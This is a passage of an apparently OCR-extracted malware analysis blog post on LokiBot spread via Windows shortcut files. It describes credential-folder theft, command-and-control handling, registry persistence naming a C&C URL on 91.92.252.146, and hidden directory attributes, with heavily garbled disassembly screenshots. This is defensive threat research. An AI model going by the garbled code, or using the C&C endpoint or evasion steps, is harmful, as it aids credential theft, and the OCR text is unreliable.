F9D7 call sub_486584

F9DC push offset sub_4@FA23 ; int
FIEL push ebx 3 int

F9E2 push ebx ;3 __int16
FIE3 mov ebx, offset aSMicrosoftCred ; "%s\'»
FIES mov edi, offset asc_417788 ; "~
FIED push ebx 3 int

F9EE push 1 i lpMem
F9F® push edi i int

FO9FL call sub_412093

Figure 20: Creating the lock file

\Credentials”

EAX BB002001 -

EBX @O6ARBCO ‘e debugdtd:DOGARECE

ECX 1B977FA2 W

EDX BB670000 W debuzBos: 99570000

ESI 96A4978 W "C:\\Users\\Deepak\\AppData\\Rocaming\\Microsoft\\Credentials\\*"
ED] 20000001 ‘-

EBP @A19FBS4 & Stack[@0090800):0019FE54

ESP @@19FBF4 \» Stack[ 0890800 ] : 9@19FEF4

EIP@B483EIC » sub_403074+128

lEI'L Beaze282

,.f ChUsers\Deepak’\AppData'\Roaming\DBETDT\112F0Z.Ick - Notepad++
File Edit Search View Encoding Language Settings Tools
cAER TS snbh/oc/an as

I 112F024ck B3 |

1 1

Macro Run  Plugins Window 7

BE=T1 E@D!

After sending the stolen data, the malware expects commands from the C&C server and spawns a separate thread

to perform actions based on the received command.

Registry Entry
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The malware creates a self-copy in the application data folder using a file move operation. If it fails in moving the

file, then the malware uses the file copy operation. The malware creates a registry entry
“HKCU\http://91.92.252.146:8015/wioy/five/fre.php\DB87D1” and sets the values as the path of the dropped file.

text:08412CCE lea eax, [ebpthCrypto] EAX 82000060
.text:88412CCE push eax ; hCrypto EBX 8055A210 W debugll3:e@554219
.text:@@412(CF call Decrypt ECX CC173856
.text:08412(04 mov edi, eax
3 20000000 =
Ltext:88412006 add esp, 1Ch 1 e
.text:88412(D9 test edi, edi A 3
. text:08412008 jz short loc_412015 I Registry Eftor
Ll File Edit View Favorites Help
= L i Computer\ HKEY_CURRENT_USER\http://91.92.252.146:8015/wioy/five/fre php
=
_— v 0l Computer
.text:@8412C0D push  edi g - — Name Trpe Data
-text:88412CDE call ASCIItoUnicode 4 HKEY_CURREN"I' USER REG_SZ (value not set)
-text:80412CE3 mov esi, eax 4 = = REG_EXPAND_SZ HAPPDATAR\DBETD 1\ 1 12F02.exe
.text:@8412CES pop ecx AppEvents
-text:@0412CE6 test esi, esi Console
.text:80412CEE jz short loc_412D8E Control Panel
% 1 Environment
EUDC
Iit%%‘uxea — — hittp://91.92.252.146:8015/wioyfive/fre php
i s i ags Keyboard Layout
~text:@8412CEC xor ecx, ecx N?lwori: ¥
-text:88412CEE cmp [ebp+lpitem], ecx
.text:88412CF1 push ebx ; pcszPath Printers
.text:@e412CF2 push [ebptpcszvalue] ; pcszValue SOFTWARE
text:®@0412CF5 setnz ¢l System
.text:@0412CF8 add ecx, 5@8080ealh Violatile Environment
-text:@8412CFE push esi ; pcszSubKey
~text:@@412CFF push ecx 5 hKey FIXEY_LOCAL MACHINE
-text:88412008 call SHRegSetPathi HKEY_USERS
.text:@8412005 push esi 3 lpMem HKEY_CURRENT_CONFIG
~text:88412006 call Heapfree_ @8
-text:@6412088 add esp, 18h
.! e

Figure 21: Registry entry

The malware modifies the attributes of the directory to the following values to lower the visibility:

e FILE ATTRIBUTE_HIDDEN
o FILE_ATTRIBUTE_SYSTEM
e FILE_ATTRIBUTE_NOT_CONTENT_INDEXED

Ltext: 80484283 push eax

Ltext: 9494284 push BCACSBE6ER

Stext: 808484289 push eax

Jtext:ee484284 call GetProchAddressUsingtoduleIndexAndProcHashWrapper

L text:@B48428F push 20@6h

Jtext: 80484294 push [ebp+lpFileName]

Ltext: 00484297 call ean ; SetFileAttributesW

=l [ebp+lpFileName]=[Stack[@BOR1ECC] :0019FD43]

Smasloio b dd offset aCUsersDeepakAp_5 ; “C:\\Users\\Deepak\\AppData\\Roaming\\DB"...
Jtext:eed4a4294 SetFileAttributesk erop =

Ltext:Be4a4294 I

Figure 22: Modifies directory attributes

The archive file cannot be found in any of the popular threat intelligence sharing portals like VirusTotal and

ReversingLabs at the time of writing this blog, which indicates its uniqueness and limited distribution.
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<« > c 25  virustotal.com/gui/search/47c4b40b072ef73bbfaf04d049354b20b%4dds... [ &, T ,i, o a2
Z 47c4b40b072ef73bbf9f04d049354b20b9a4dd8c23352c8db786fd03a088041] Q - [_,9

No matches found

Alternatively, do you want to locate your threat based on static, dynamic, content. attribution or other advanced loC context? VT
Intelligence allows you to search across VirusTotal's entire threat corpus using a myried of modifiers, learn more.

Figure 23: File is not available on Virus Total
Evidence of the detection by our RTDMI engine can be seen below in the Capture ATP report for this file.

SONICWALL | capture ATP Report

Feb 29, 2:49pm

downloaded a malicious file. The endpoeint may need to be cleaned

Source Destinatson
ee— = E——

[ - 36 2 1 1

Ordan_Fachera gz VIUS SCANNErs reputation databases detonahon engines live detonations
Wy irve detonations were needed Summmary of scnom once detonated $ew evyIhing the engnes saw
[P - Engine Alpha e scarien s [ [R— e [r— comctions downicad b detah
[0 smasH (RTDMI 18s LR
Embedded cods found

Piot & knvawen reputabie vendor
Mot ke rapetabis domain

@ Al cthes resuhs inconchusive. Fie
sant o datonasn engnes for

further anslysis

File ienbfers.

VDS, eb6dc0Sched 1 T00TiccHcTTaN Sarial Namber IR
SHAT DISSOCACSADIE 4 1 B6te SetccaticDecidbinst Caplure ATP Version 10
SHAZSE Raport Ganaated on Thu, 29 Feb 2024 0019 33 GMT

Figure 24: Capture report

Source: https://blog.sonicwall.com/en-us/2024/03/lokibot-is-being-distributed-by-windows-shortcut-files/
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